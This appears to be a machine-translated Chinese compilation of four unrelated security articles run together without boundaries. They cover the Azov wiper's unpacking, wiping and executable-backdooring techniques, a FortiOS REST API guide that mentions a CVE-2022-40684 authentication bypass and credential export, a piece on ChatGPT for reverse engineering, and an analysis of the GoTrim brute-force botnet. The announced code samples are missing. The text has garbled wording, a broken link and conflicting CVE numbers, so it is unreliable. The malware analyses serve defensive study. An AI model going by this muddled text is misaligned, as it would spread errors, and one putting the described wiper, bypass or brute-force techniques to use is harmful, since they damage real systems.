FASM編譯器的檢測 只有一個“.code”部分，沒有導入 code字段分為三個部分，通過查看其熵最容易看出。首先，有一個高熵部分包含加密的shell代碼。之後是實現解包程序的純代碼，然後是熵非常低的最後一部分，似乎由用於構造勒索信的純字符串組成。 “.code”部分的熵 打開程序由於Azov的整個代碼都是手工編寫的，因此有必要執行一些IDA魔術和清理工作，以將代碼塑造成可以反編譯和理解的狀態。完成此操作後，過程start_0()就可見了。這段代碼將shellcode解包到新分配的內存中，然後將執行傳遞給它。 輸入函數start_0 函數AllocAndDecryptShellcode()中的解包程序被故意創建得看起來比實際更複雜。但實際上，它是一個簡單的種子解密算法，使用xor和rol的組合，其中key=0x15C13。 AllocAndDecryptShellcode函數中的解包程序 我們在下面提供了簡化程序邏輯的Python實現： 下一階段分為兩個主要程序：一個負責清除文件，另一個負責為可執行文件設置後門。 將執行轉移到清除和後門邏輯 清除程序清除程序首先創建一個互斥鎖（Local\\\\azov），以驗證惡意軟件的兩個實例沒有同時運行。 清除程序——互斥鎖創建 如果成功獲得互斥鎖句柄，Azov會通過木馬(類似於後門程序)64位Windows系統二進製文件msiexec.exe或perfmon.exe並將其保存為rdpclient.exe來創建持久性。在SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run上創建一個註冊表項，指向新創建的文件。 持久性創建 清除程序使用觸發時間——有一個循環，被分析的樣本檢查系統時間，如果不等於或大於觸發時間，則休眠10秒，然後再次循環。樣本觸發時間為2022年10月27日。 樣本觸發時間為2022年10月27日 一旦這個邏輯炸彈被觸發，清除器邏輯就會遍歷所有設備目錄，並對每個目錄執行清除程序，從而避免某些硬編碼的系統路徑和文件擴展名。 系統路徑和文件擴展名 清除時省略的文件擴展名 每個文件都被“間歇性”清除，這意味著666字節的塊被隨機噪聲覆蓋，然後一個大小相同的塊保持完整，然後一塊再次被覆蓋，依此類推，直到達到4GB的硬限制，此時所有其他數據都保持完整。作為隨機源，樣本使用未初始化的局部變量（例如，char buffer[666]），這實際上意味著隨機堆棧內存內容。 間歇性數據清除 數據清除程序的示例跟踪 清除完成後，新的文件擴展名.azov將添加到原始文件名中。清除文件的典型文件結構如下所示。 清除文件的示例結構 後門程序在遍歷文件系統以搜索要進入後門的文件之前，創建一個名為Local\\\\Kasimir_%c的互斥鎖，其中%c替換為正在處理的驅動器的字母。 後門程序——互斥鎖創建 TryToBackdoorExeFile()函數負責解密滿足特定條件的64位“.exe”文件進行後門。 通過預處理條件的文件進入TryToBackdoorExeFile函數 這些具體條件可簡化如下： 預處理條件：它不是文件系統位置清除列表的一部分； 文件擴展名為“.exe”； 文件大小小於20MB； 處理條件：該文件是64位可執行文件； 包含入口點的PE部分有足夠的空間用於注入shellcode植入程序，以保留PE的原始入口點（shellcode起始地址將放在原始入口點的地址）； File size==PE size（PE大小是手動計算的）； 處理條件都在TryToBackdoorExeFile()函數中檢查。 TryToBackdoorExeFile函數 一旦文件滿足所有預處理和處理條件，它就被認為適合適合進行後門操作，並將其推入BackdoorExeFile()函數。 函數TryToBackdoorExeFile的鄰近圖 函數BackdoorExeFile()負責可執行文件的多態後門。它首先獲取原始代碼段(通常是.text段)的地址，然後在幾個位置隨機修改其內容。在將shellcode的主要blob注入到修改的代碼部分之前，某些常量值將被更改，整個shellcode將使用與前面描述的惡意軟件解包期間使用的相同的加密算法和密鑰重新加密。後門文件寫回磁盤後，三個編碼的數據結構被追加到它的末尾，這是勒索軟件運行所需的有效資源(例如，一種模糊形式的勒索通知)。 函數BackdoorExeFile的鄰近圖 儘管存在多態後門，但解包和後門過程中使用的加密/解密算法是一致的，可用於Azov檢測。 使用與解包期間相同的算法和密鑰重新加密shellcode的主blob 反分析和代碼混淆技術防止使用軟件斷點——如果設置了軟件斷點，使用例程將已經解密並正在執行的部分shellcode複製到新分配的內存中，然後將執行轉移到它，遲早會導致異常。在這種情況下，有必要使用硬件斷點。 防止使用軟件斷點的反分析技術 不透明常量——用產生相同結果常量值的代碼例程替換常量。 (這可以在負責計算常量偏移量的例程中反复看到，而不是直接使用它們，以便直接調用可以被間接調用取代) 不透明常數 語法混亂——用語義上不地道或完全擴展的等效指令替換指令。這方面的一個例子可以在負責解析導出目錄的程序中找到；另一種是用直接或間接jmp重複替換調用。兩者如下圖所示。 語法擴展 在調用中使用間接跳轉和直接跳轉 下面可以看到解析導出目錄的程序集的簡化版本。 垃圾代碼——插入垃圾字節，導致沒有有意義的指令，甚至根本沒有指令。 不透明謂詞——jz/jnz乍一看似乎是一個條件跳轉，但實際上條件總是滿足或總是不滿足，並且有效地充當無條件跳轉，使靜態分析混淆。這兩種混淆都可以在函數FindGetProcAddress()中看到。 垃圾字節插入和不透明謂詞混淆 調用-返回濫用——使用push-ret或Call而不是jmp。 控制間接 Volatile Homebrew IAT ——一個動態分配的結構，包含API函數地址，被用作嵌套結構，作為參數推送給需要使用特定WIN API例程而不是使用普通導入的函數。 動態創建的IAT類結構用作嵌套結構 總結儘管Azov樣本在第一次被發現時被認為是一個普通的勒索軟件，但當進一步調查時，我們發現了非常先進的技術——手工製作的組裝，將有效載荷注入可執行文件以打開後門。 儘管還不知道其幕後組織，但唯一可以肯定的是，所有這些分析都證實了Azov是一種先進的惡意軟件。

0x00 前言本文將要介紹FortiOS REST API的相關用法，分享開發的實現細節。 0x01簡介本文將要介紹以下內容： 強化環境聽力 FortiOS REST API 方式登錄 常用操作 常用功能 0x02 Fortigate環境這里以Fortigate作為FortiOS REST API的測試環境，安裝FortiGate for VMware 參考資料：https://getlabsdone.com/how-to-install-fortigate-on-vmware-workstation/ 1.下載FortiGate for VMware安裝包下載地址：https://support.fortinet.com/ 選擇Support-VMImages，選擇產品：FortiGate，選擇平台：VMWare ESXi 注： 7.2之前的版本可以使用15天，7.2之後的版本需要賬號註冊 2.導入ova文件打開FortiGate-VM64.ova導入VMWare 3.配置網卡3個網卡，我們只需要保留3個，刪掉後面的107個，默認3個網卡的具體配置如下： (1)管理網卡 點擊VMware workstation-Edit-Virtual Network Editor點擊Change settings，點擊Add Network.選擇VMnet2，選擇，Type選擇Host-only，DHCP選擇Enabled 如下圖 商業網卡設置成VMnet2 (2)WAN網卡 設置成bridged (3)局域網網卡 選擇network adapter 3，點擊LAN Segments.點擊Add，命名為Fortigate LAN 網卡設置成LAN segment，選擇Fortigate LAN 最終配置成圖 4.開啟虛擬機用戶名：admin職位，為默認空 查看激活狀態的命令：get system status 查看ip的命令：diagnose ip address list 得到管理網卡的ip為192.168.23.128 5.訪問網頁管理頁面地址為：http://192.168.23.128 0x03 FortiOS REST API 登錄方式參考資料：https://www.used.net.ua/index.php/fajlovyj-arkhiv/category/35-fortinet.html?download=83:fortios-5-6-11-rest-api-reference FortiOS REST API支持以下類型登錄： 1.使用admin用戶登錄需要管理員用戶admin的明文，不需要額外的配置 通過訪問訪問https:// 需要注意的是，使用管理員用戶登錄結束後需要進行訪問https:// Python示例代碼如下： 代碼實現以下三個功能： 管理員用戶信息，查詢成功 REST API用戶信息，查詢成功 查詢配置文件信息，查詢成功 2.使用API密鑰參考資料：https://docs.fortinet.com/document/forticonverter/6.0.2/online-help/866905/connect-fortigate-device-via-api-token 需要額外創建配置文件和用戶，生成API密鑰 (1)創建配置文件 登錄網頁管理頁面，選擇System-Admin Profiles-Create New Name設置為api_admin 將所有權限均設置為Read/Write (2)創建用戶 選擇System-Administrators-Create New-REST API Admin Username設置為api_user Administrator profile設置為api_admin 自動生成API 密鑰，測試環境得到的結果為r3h53QbtrmNtdk0HH5qwnw8mkcmnt7 API key有以下使用方式： 作為URL 的參數使用，示例：access_token=r3h53QbtrmNtdk0HH5qwnw8mkcmnt7 標題中，示例：'Authorization': 'Bearer r3h53QbtrmNtdk0HH5qwnw8mkcmnt7' Python示例代碼如下： 代碼實現以下三個功能： 管理員用戶信息，查詢失敗 REST API用戶信息，查詢成功 查詢配置文件信息，查詢成功 補充：通過漏洞(CVE-2022-40684)可屏蔽身份認證Python示例代碼如下： 代碼實現以下三個功能： 管理員用戶信息，查詢成功 REST API用戶信息，查詢成功 查詢配置文件信息，查詢成功 0x04 常用操作1. 調試輸出為了方便調試，可以在cli執行以下命令： 一分鐘在cli輸出調試信息3 如下圖 2.文件打包可提取使用掛載vmdk的方式加載文件，逆向分析REST API的實現 破解方法： https://www.horizontal-fortiswitchmanager-460-dive-cve-2022-484 / 3.增刪改查操作讀取內容使用GET方法 新建內容使用POST方法 修改內容使用PUT方法 刪除內容使用DELETE方法 0x05 常用功能1.創建本地用戶需要訪問/api/v2/cmdb/user/local，發送json數據 Python示例代碼如下： 2.添加防火牆需要訪問/api/v2/cmdb/firewall/policy，發送json數據 Python示例代碼如下： 3.導出所有配置通過訪問/api/v2/cmdb/system/admin導出用戶信息時，密碼項被加密，格式為'password':'ENC XXXX' 這裡可通過備份功能導出所有配置，獲得加密的用戶身份，訪問位置為/api/v2/monitor/system/config/backup?destination=filescope=global Python示例代碼如下： 4.抓包需要完成以下操作： 新建抓包過濾器 開啟抓包過濾器 停止數據包捕獲過濾器 下載數據包 刪除數據包捕獲過濾器 Python示例代碼如下： 0x06 小結本文以Fortigate REST 的配置和介紹，介紹了FortiOS 的相關用法，為創建本地用戶、添加防火牆規則、導出所有的實現代碼。

ChatGPT是人工智能研究實驗室OpenAI新推出的一種人工智能技術驅動的自然語言處理工具，使用了Transformer神經網絡架構，也是GPT-3.5架構，這是一種用於處理序列數據的模型，擁有語言理解和文本生成能力，尤其是它會通過連接大量的語料庫來訓練模型，這些語料庫包含了真實世界中的對話，使得ChatGPT具備上知天文下知地理，還能根據聊天的上下文進行互動的能力，做到與真正人類幾乎無異的聊天場景進行交流。 ChatGPT不單是聊天機器人，還能進行撰寫郵件、視頻腳本、文案、翻譯、代碼等任務。 接下來就讓我們看看ChatGPT如何幫助我們解決一些常見的逆向工程和惡意軟件分析難題。 1.學習如何更有效地使用逆向工程工具軟件工具通常帶有不同程度的內置幫助，它們所缺少的通常由專門的用戶論壇和問答網站（如Stack Overflow、Stack Exchange等）來彌補。 ChatGPT為快速獲得逆向工程工具的幫助增加了另一條途徑。 無論你是使用IDA Pro、Ghidra、Radare2、Hopper、Cutter還是其他一些逆向引擎平台，ChatGPT都能提供幫助。雖然所有這些平台都包含自己的內置幫助功能，但如果ChatGPT的培訓模型中已經涵蓋了這些問題，那麼你可能會發現它能夠回答與你自己的用例相關的特定問題，這是一種更快完成任務的方式。 使用ChatGPT作為radare2的交互式幫助助手 2.自學彙編語言ChatGPT擅長傳達相關信息。 例如，ChatGPT提供了關於函數調用基礎知識和相關堆棧內存管理活動的回答。 我們可以要求ChatGPT在其輸出中或多或少詳細一些。例如，在這裡，我們希望得到一個堆棧幀的視覺表示。 ChatGPT描述了一個堆棧框架 彙編代碼是特定於平台和編譯器的。如果向ChatGPT發出的程序集相關問題不包括與編譯程序集的平台（即指令集）或更高級別語言相關的特性，ChatGPT將提供相關的免責聲明信息，以正確定位答案。 ChatGPT可以幫助攻克彙編難題的另一種方式是將用戶熟悉的高級代碼轉換為彙編代碼。這通過將熟悉的概念映射到其內部來促進學習。我們觀察到，ChatGPT可以很好地處理各種主題，包括在學習彙編時至關重要的重要概念，例如指針和函數指針調用。 ChatGPT的響應通常包括帶註釋的彙編代碼，這進一步提高了學習效果。 ChatGPT將高級代碼轉換為程序集 3.了解源代碼如何轉換為反彙編作為惡意軟件分析師，我們大部分時間都是從反彙編者的角度來看待惡意軟件。編程語言的經驗和知識在這里至關重要，但ChatGPT可以幫助我們了解已知源代碼在反彙編程序中的樣子，以及代碼更改如何在反彙編中反映出來。新手可以通過編寫自己的源代碼來推斷一些反彙編代碼可能會做什麼，並查看它是否與他們正在查看的反彙編類似。這可以幫助經驗不足的分析人員加深對惡意代碼的理解。 4.快速編寫PoC源代碼ChatGPT甚至可以幫助我們編寫測試理論所需的源代碼。例如，我們可以問AI以下問題： 然而，有時候ChatGPT需要一點引導。在寫完我們請求的函數後，它決定將分解任務委託給我們: 首先，我們從前面的答案中復制代碼，然後在給出明確的指令後粘貼它。 現在，我們得到了我們正在尋找的分解結果。 5.指令集之間的轉換鑑於彙編代碼是特定於平台的，經驗更豐富的逆向工程師可以利用ChatGPT查詢不同的指令集，而不是他們已經熟悉的指令集。一種方法是指示ChatGPT將編寫在一個指令集中的彙編代碼轉換為另一個指令集。 ChatGPT將x64彙編代碼轉換為ARM 這為進一步探索感興趣的指令集提供了基礎，例如，通過查詢ChatGPT關於翻譯後代碼中指令的進一步信息。 ChatGPT解釋了blx ARM指令 6. 比較語言或特定於平台的約定有經驗的逆向工程師還可以從使用ChatGPT查詢編程語言和平台的內存管理技術的差異中受益，例如調用約定。 ChatGPT比較調用約定 在撰寫本文時，ChatGPT正在使用2021年之前的訓練數據進行訓練。因此，如果某些平台或高級語言的特性在某個時間點之後發生了變化，ChatGPT不會提供當前信息。調用約定更改的一個例子是在Golang語言中從基於堆棧的調用約定轉換為基於寄存器的調用約定。 有經驗的逆向工程師，特別是惡意軟件分析師，可以利用ChatGPT來熟悉日益流行的編程語言的高級結構，以及這些結構是如何在彙編中表示的。例如，內存安全的Golang和Rust越來越多地被惡意軟件開發人員採用。 7.分析惡意軟件樣本中的代碼段ChatGPT能夠解釋和分析與逆向工程相關的代碼，包括偽代碼和彙編代碼。這使得ChatGPT在分析惡意軟件可執行文件的代碼段(如函數)時非常有用，主要是因為ChatGPT可以提供代碼執行活動的摘要。 這可以顯著提高惡意軟件逆向工程師的效率。 Gepetto IDA Pro插件在IDA Pro中集成了ChatGPT，並查詢語言模型以提供由Hex-Rays反彙編程序反編譯的函數的含義。 解釋代碼的能力還可以對代碼進行比較，使惡意軟件分析人員能夠了解不同惡意軟件樣本實現之間的差異。 為了在分析人員通常需要的描述性級別上總結代碼的功能，ChatGPT可能缺少所需的關於分析中的可執行文件的更廣泛的上下文，而分析人員可能擁有這些上下文。 假設分析師很少或沒有向ChatGPT提供上下文，如果所分析的代碼與其目的相關，那麼該模型將提供最大的即時價值。在實踐中，這通常意味著代碼不會調用以ChatGPT未知的方式擴展代碼功能的用戶定義函數，但如果它調用函數，則它們是已知的、公開記錄的庫函數。由於ChatGPT是基於公開可用的數據進行訓練的，因此語言模型此時可以準確地解釋在用戶提供的代碼中使用這些函數的情況。 例如，如果提供給ChatGPT的偽代碼引用了公開記錄的庫函數，則ChatGPT對代碼用途的解釋將圍繞這些函數的功能展開。 ChatGPT通過解釋十六進制射線偽代碼來討論函數的用途 為了從ChatGPT中獲得更好的代碼分析輸出，用戶仍然需要: 制定實質性的ChatGPT查詢，以便提供所需的上下文; 與ChatGPT進行對話，在對話期間提供上下文，並完善ChatGPT的答案; 嘗試在回答的末尾使用“重新生成響應”選項，這似乎是對ChatGPT的一種“再努力一點”的指示。 向ChatGPT添加更多上下文可以包括用戶定義函數的功能，這些功能是分析師所了解的。上下文信息可以以編程的方式提供，以減少人工分析人員的工作量，例如，通過為此目的開發的反彙編程序插件。 這同樣適用於從非技術角度改進ChatGPT的輸出。例如，ida_gpt(一個通過查詢ChatGPT來協助程序集代碼分析的IDA Pro插件)分別為分析和重構程序集代碼製定了下面的查詢。 下面是ida_gpt ChatGPT查詢的幾個示例: 8.識別代碼中的惡意活動惡意軟件分析師可以使用ChatGPT來識別某個功能可能實現的潛在惡意活動的指示器。這對於將惡意軟件可執行文件中的功能映射到特定的惡意功能非常重要，類似於capa IDA Pro插件的功能。 在這種情況下，我們觀察到ChatGPT能夠對函數中惡意活動的所有指標的強度進行優先級排序。因此，惡意軟件分析師可以確定與ChatGPT的交互範圍，以更詳細地討論最強指標。 例如，OpenGPT將vssadmin.exe的執行確定為下面偽代碼中惡意活動的最強指標。 ChatGPT評估惡意活動的指標 9.推測功能目的和目標除了識別惡意活動指標外，惡意軟件分析師還可以進一步與ChatGPT對話，以推測並更好地了解惡意軟件如何使用特定平台或軟件結構以及達到何種目的。即使在分析師沒有提供全面背景的情況下，這也可能是有效的。 例如，下面的勒索軟件偽代碼代碼使用Microsoft Cryptographic API（CAPI），也稱為CryptographicAPI：下一代（CNG）加密架構，用於加密數據。 ChatGPT討論了惡意軟件對CAPI的使用 10. 了解漏洞並利用代碼了解漏洞是如何工作的，惡意軟件開發者如何利用它們，以及我們如何識別和檢測它們在代碼中的使用是一項極具挑戰性的任務。 ChatGPT在這方面也可以幫助我們。 讓我們以CVE-2022-468889為例，看看ChatGPT是否可以幫助我們理解代碼的工作原理。 ChatGPT為我們提供了以下解釋。 人工智能最初找到的答案還是可以的，但它顯然不了解漏洞的更廣泛背景。我們可以通過提供更多信息來幫助它。因為ChatGPT是上下文感知的，所以我們不需要重複前面的問題或再次粘貼前面的代碼。 讓我們看看它現在提供了什麼答案。 ChatGPT解釋了CVE-2022-46889的漏洞代碼 由於ChatGPT的上下文意識，研究人員有可能深入了解這一解釋中他們希望了解更多信息的任何特定部分。 正如我們在前面的挑戰中看到的，我們還可以要求在反彙編中表示，以查看惡意軟件示例中的部分或全部利用代碼。 11. 協助自動化逆向工程任務反向工程師轉而使用腳本語言來自動化手動完成的重複或容易出錯的任務，例如重命名變量或大規模地對混淆的代碼進行解混淆。這可以顯著地加快和提高逆向工程任務的效率。 ChatGPT能夠編寫代碼，包括IDAPython, IDA Pro反彙編程序的腳本語言。 ChatGPT編寫IDAPython腳本 由於ChatGPT目前使用2021之前的數據進行培訓，並且IDAPython正在進行定期更改，我們觀察到ChatGPT經常編寫過時的IDAPythin腳本。因此，我們評估了ChatGPT生成的IDAPython代碼最實際的用例可能是作為模板代碼，用戶可能需要對其進行輕微或適度的調整，以使代碼在當前部署中發揮作用。這通常涉及更改引用的模塊和函數名，以適應IDAPython API中的更改。需要少量或適度修改的模板IDAPython代碼在需要編寫的IDAPython代碼中非常實用。 總結總的來說，ChatGPT可以： 生成惡意代碼執行的功能和操作的解釋和摘要，這可以幫助逆向工程師和惡意軟件分析師了解其目的和行為。 協助分解和反編譯代碼，將其分解為更小、更易於管理的塊進行分析。 幫助逆向工程師和惡意軟件分析師了解代碼庫不同部分之間的關係以及它們如何協同工作，這對識別和理解代碼依賴性很有用。 通過生成漏洞及其潛在影響的解釋和摘要，協助識別和理解代碼漏洞。 幫助逆向工程師和惡意軟件分析師了解用於混淆代碼的技術，這對於分析和消除惡意代碼非常有用。 協助生成代碼分析和惡意軟件分析結果的文檔和報告。 為進一步分析提供指導和建議，幫助逆向工程師和惡意軟件分析人員確定工作的優先級，並將重點放在工作的最重要方面。 用於創建逆向工程和惡意軟件分析培訓的教材和練習，幫助培養這些領域的技能和知識。 通過提供信息和分析結果的共享存儲庫，幫助促進團隊成員之間的協作，這有助於提高效率和有效性。 協助生成用於代碼和惡意軟件分析的測試用例和場景，幫助確保分析是徹底和全面的。 通過生成代碼和惡意軟件行為的解釋和摘要，為法律和法醫調查提供幫助，這對於構建案例和演示惡意活動的影響非常有用。 對於初學者，ChatGPT可以全面介紹掌握逆向工程所需的概念和技能，例如彙編語言的基礎知識和了解程序如何構造和運行所需的背景知識。 對於經驗豐富的逆向工程師和惡意軟件分析師，ChatGPT可以用於自動化和加速逆向工程任務，例如分析代碼和了解其功能。 ChatGPT對逆向工程師和惡意軟件分析師的回答的價值取決於提供給語言模型的上下文信息的數量。這可以通過向ChatGPT發出上下文完整查詢或與ChatGPT進行對話以改進答案來實現。 在未來，ChatGPT有可能變得更強大，對逆向工程師和惡意軟件分析師更有用。隨著不斷的發展，可能會克服其當前的一些限制，例如對數據的操作依賴性是有限的，並且具有過去的時間戳。通過解決這些限制，ChatGPT可以成為逆向工程師和分析師不可或缺的工具，提供準確高效地分析代碼所需的信息。

FortiGuard實驗室最近遇到了一個以前沒有報導過的內容管理系統(CMS)掃描器和用Go編程語言(通常也稱為Golang)編寫的攻擊破解器。在幾個在線論壇上，它被描述為安裝在受感染的WordPress網站上，但沒有公開的分析報告。 受影響平台：Linux； 影響用戶：任何組織； 影響：遠程攻擊者可以控制易受攻擊的系統； 嚴重級別：嚴重； Golang攻擊破解器並不新鮮。例如，我們之前報導過2019年的StealthWorker活動。這個新的攻擊破解器是我們命名為GoTrim的新活動的一部分，因為它是用Go編寫的，並使用“:trim:”來區分與C2服務器通信的數據。 與StealthWorker類似，GoTrim也利用網絡執行傳播式攻擊攻擊。我們發現最早的樣本是在2022年9月。在撰寫本文時，該活動仍在進行中。 本文詳細介紹了這個殭屍網絡如何使用WordPress和OpenCart掃描和破壞網站。 攻擊鏈 GoTrim攻擊鏈 GoTrim使用木馬網絡對其目標執行傳播式攻擊攻擊。每個木馬都會獲得一組憑據，用來嘗試登錄一長串的網站目標。成功登錄後，木馬客戶端將被安裝到新感染的系統中。然後，它等待來自攻擊者的進一步命令，從而擴展木馬網絡。 GoTrim僅在攻擊嘗試成功後向C2服務器報告憑據。我們沒有在GoTrim中觀察到任何用於傳播自身或部署其他惡意軟件的代碼。然而，我們確實找到了下載和執行GoTrim bot客戶端的PHP腳本。攻擊者似乎在某種程度上濫用洩露的憑據來部署PHP腳本以感染GoTrim系統。 PHP下載腳本 通常，每個腳本都將GoTrim惡意軟件從硬編碼的URL下載到與腳本本身相同的目錄中的文件並執行它。為了掩蓋其踪跡，下載器腳本和GoTrim攻擊程序都從受感染的系統中刪除。它不會在受感染的系統中保持持久性。 靜態分析除非另有說明，本文中詳細的分析是基於具有SHA-256哈希c33e50c3be111c1401037cb42a0596a123347d5700cee8c42b2bd30cdf6b3be3的示例。 GoTrim是用Go 1.18版本構建的。與所有Go應用程序一樣，代碼中使用的所有第三方庫都靜態鏈接到惡意軟件，導致可執行二進製文件相對較大。但是這樣做的好處是不依賴任何外部文件來正確執行。為了解決大小問題，惡意軟件使用UPX打包，將文件從6 MB減少到1.9 MB。 使用Go的另一個優點是，相同的源代碼可以交叉編譯，以支持不同的體系結構和操作系統。根據示例中的源代碼路徑，在開發GoTrim時使用了Windows。但是，我們只觀察到針對64位Linux的示例。 C2通信GoTrim可以通過兩種方式與命令和控制（C2）服務器通信：客戶端模式，它向命令和控制服務器（C2服務器）發送HTTP POST請求，或服務器模式，它啟動HTTP服務器以偵聽傳入的POST請求。與C2交換的所有數據都使用Galois計數器模式下的高級加密標準（AES-GCM）進行加密，密鑰來自嵌入惡意軟件二進製文件中的口令。 默認情況下，如果受感染的惡意軟件直接連接到internet(即受害者的出站或本地IP地址是非私有的)，GoTrim將嘗試在服務器模式下運行。否則，將切換到客戶端模式。 執行後，GoTrim創建一個MD5哈希，表示受感染設備的唯一標識(木馬ID)。它由以下字符串生成，包含由“：”字符分隔的幾條信息： VICTIM_EXTERNAL_IP:HTTP_SERVER_PORT:1:OUTBOUND_IP:AES_PASSPHRASE VICTIM_EXTERNAL_IP：設備的外部/公共IP； HTTP_SERVER_PORT：HTTP服務器端口。這是在服務器模式下為HTTP服務器隨機生成的介於4000到8000之間的數字。對於客戶端模式，始終為0； 惡意軟件初始化標誌：在計算木馬ID時始終設置為1； OUTBOUND_IP：目標設備的出站/本地IP地址； AES_PASSPHRASE：嵌入每個樣本的硬編碼字符串。該惡意軟件後來使用該字符串的SHA256哈希作為AES-GCM密鑰，用於加密其與C2服務器的通信。我們觀察到的所有樣本都共享相同的AES密碼。 在生成bot ID之後，GoTrim創建一個異步Go例程(類似於多線程)，該例程在客戶端和服務器模式下向C2服務器發送信標請求。 C2請求URL在不同版本之間發生變化，如本文稍後部分所述。對於此特定示例，信標請求URL為“/selects？dram=1”。 在這個信標請求中，一些受害者和木馬信息被發送到C2服務器，如下圖所示。 發送到C2服務器的數據截圖 信標請求中發送的一些有趣的字段包括： 1. Bot ID：木馬的唯一ID； 2.外部IP：受害設備的公共IP地址； 3.HTTP服務器端口：為HTTP服務器隨機生成的端口（客戶端模式為0）； 4.惡意軟件初始化標誌：發出此請求時始終設置為1； 5.出站IP：受害目標設備的本地IP地址； 6.狀態消息：“GOOD”消息被其他字符串替換，這些字符串在後續信標請求期間報告任何正在運行的CMS檢測或強制執行任務的狀態； 7.狀態標誌：這些標誌指示惡意軟件當前是否有C2服務器分配的任何處理任務以及這些任務的ID； 8.MD5校驗和：該值由上述請求的部分和硬編碼的AES密碼生成，它用作消息完整性校驗和。 這些字段通過：trim：字符串連接在一起，因此為這個活動選擇了這個名稱。然後使用AES-256-GCM密鑰加密數據，這是前面提到的密碼的SHA-256哈希。 服務器通常以“OK”、“404 page not found”或“BC”響應，所有這些都使用相同的AES-GCM密鑰加密。當收到“BC”時，GoTrim將重新生成其bot ID並從服務器模式切換到客戶端模式。 第一個信標請求是向木馬網絡註冊一個新的木馬。 每次信標請求後，GoTrim會休眠幾秒到幾分鐘，這取決於C2服務器的響應，以及惡意軟件在發送下一個請求之前是否正在處理C2分配的任務。惡意軟件定期執行此信標請求，以更新C2服務器有關木馬狀態的信息，包括成功的憑據，如本文的攻擊攻擊部分所述。如果GoTrim在100次重試後未能從C2服務器接收到有效響應，它將自行終止。 當信標請求被異步發送以更新C2服務器的狀態時，GoTrim要么向C2服務器發送請求以接收命令（客戶端模式），要么設置HTTP服務器以偵聽傳入的任務請求（服務器模式）。 客戶端模式在客戶端模式下，惡意軟件發送一個POST請求到“/selects?”bilert=1 '接收來自C2服務器的命令。 C2服務器響應使用相同AES-GCM密鑰加密的命令。在下圖中可以看到一個解密命令的示例。 包含命令及其選項的響應截圖 通過“：trim：”字符串分割數據後，可以識別7個字段，如下所示。 1. MD5校驗和：用於校驗消息的完整性。如：83217f8b39dccc2f9f2a0157f0236c4f； 2. 命令ID：表示當前任務的命令； 3.並發級別：這會影響每個任務執行的goroutine的數量； 4. 命令選項：包含命令的選項，以7E 6A 71 6D 70 C2 A9 (~jqmp©)字節分隔。根據命令的不同，它們的解釋也不同： a.目標列表：這是GZIP壓縮數據，解壓縮後，包含將作為登錄嘗試目標的域列表。 b.命令選項1（已修訂）：此選項包含身份驗證命令的用戶名。 C2服務器可以指定一系列字節（如C2 A9 64）來使用域作為用戶名，而不是為每個域使用相同的用戶名。 c.命令選項2(修改後)：對於認證命令，該選項包含密碼； d.命令選項3：WordPress認證的未知選項； e.命令選項4：WordPress身份驗證選項，在提交憑據時使用POST請求或XML-RPC。 5. 內部值：惡意軟件本身不使用的數值(例如，42和255)，可能代表當前命令的內部任務ID。 惡意軟件支持以下命令： 1：驗證WordPress域提供的憑據； 2：驗證對Joomla!域提供的憑據(目前尚未實現)； 3：根據OpenCart域驗證所提供的憑據； 4：根據Data Life Engine域驗證所提供的憑據(目前尚未實現)； 10：檢測在域中安裝WordPress, Joomla! OpenCar或Data Life Engine CMS； 11：終止惡意軟件； 我們觀察到一個目標列表在一個WordPress認證命令中包含多達30000個域。此外，我們觀察到，身份驗證命令只提供一個密碼來測試列表中的所有域。如上所述，攻擊可能是通過命令受感染設備網絡測試不同的域和憑據來傳播的。 惡意軟件完成處理命令後，在發送另一個POST請求以接收來自C2服務器的新任務之前，它會休眠一段時間。 服務器模式在服務器模式下，GoTrim在4000到7999之間的隨機端口上啟動服務器，以響應攻擊者發送的傳入POST請求。這種模式為攻擊者提供了一種與木馬通信的更靈敏的方式。例如，攻擊者可以檢查木馬的狀態，而無需等待後續的信標請求，只需向木馬的HTTP服務器處理的特定URL發送POST請求。 為了向目標設備發出命令，攻擊者向“/BOT_ID?”ert=1 '發送POST請求，正文包含AES-256-GCM加密的命令數據，類似於C2服務器在客戶端請求命令時的響應。服務器模式支持與客戶端模式相同的命令。 攻擊者還可以發送帶有參數“/BOT_ID？intval=1”的請求，以查看當前正在運行的任務的狀態以及分配的任務是否已完成。 當CPU利用率低於某個水平(75%或90%，取決於當前任務使用的並發工作者的數量)時，將生成一個單獨的goroutine來處理每個域。 殭屍網絡命令檢測CMSGoTrim試圖確定目標網站上是否使用了四個CMS（WordPress、Joomla！OpenCart或DataLife Engine）中的一個。它通過檢查網頁內容中的特定字符串來實現這一點。 有趣的是，它只通過檢查“WordPress.com”的Referer HTTP標頭來針對自託管的WordPress網站。由於託管的WordPress主機提供商，例如wordpress.com，通常會實施更多的安全措施來監控、檢測和阻止攻擊嘗試。 用於確定已安裝CMS的字符串如下所示： 雖然GoTrim可以使用上述四種cms檢測網站，但它目前只支持針對WordPress和OpenCart網站的身份驗證。這表明該殭屍網絡仍在開發中。 驗證WordPress憑據除了C2服務器提供的用戶名之外，它還試圖通過向“/wp-json/wp/v2/users”發送GET請求來收集更多的用戶名。 之後，它嘗試使用C2命令中提供的用戶名列表和密碼登錄WordPress網站，通過發送POST請求到“/wp-login.php”。下圖顯示了登錄的POST請求示例。 WordPress身份驗證請求 這個請求導致在成功登錄後重定向到WordPress網站的管理頁面(即/wp-admin)。為了確認登錄和重定向成功，它檢查響應是否包含“id=\”adminmenumain\”。 C2服務器還可以通過WordPress XML- rpc特性指定要執行的身份驗證，這是用戶使用XML以編程方式與CMS遠程交互的另一種方式。通過直接與web服務器的後端通信，可以繞過通常在訪問網站頁面時有效的反木馬機制（如captchas）。 成功登錄後，以下信息(以“|”分隔)將被更新為全局狀態消息，並與以下請求一起發送到C2(客戶端模式)或作為傳入請求的響應(服務器模式)： 目標URL； 使用者名稱; 密碼； 命令ID(1用於WordPress, 3用於OpenCart等)； 攻擊狀態(“0GOOD”表示成功)； 驗證OpenCart憑據GoTrim還可以強力破解運行開源電子商務平台OpenCart的網站。 它向目標的“/admin/index.php”發送一個GET請求，並收集登錄請求所需的與身份驗證相關的令牌和標頭。然後，它通過向相同的URL發送POST請求以及包含用戶名和密碼的表單編碼數據來執行實際的身份驗證。 為了驗證登錄請求是否成功，它會通過搜索“/dashboarduser_token=”來檢查網站是否返回了OpenCart用戶令牌，並確保接收到的數據中的“redirect”值不為空。 一個有效的身份驗證響應應該如下所示： {'redirect':'https://example.com/opencart/admin/index.php?route=common/dashboarduser_token=USER_TOKEN_HASH'} 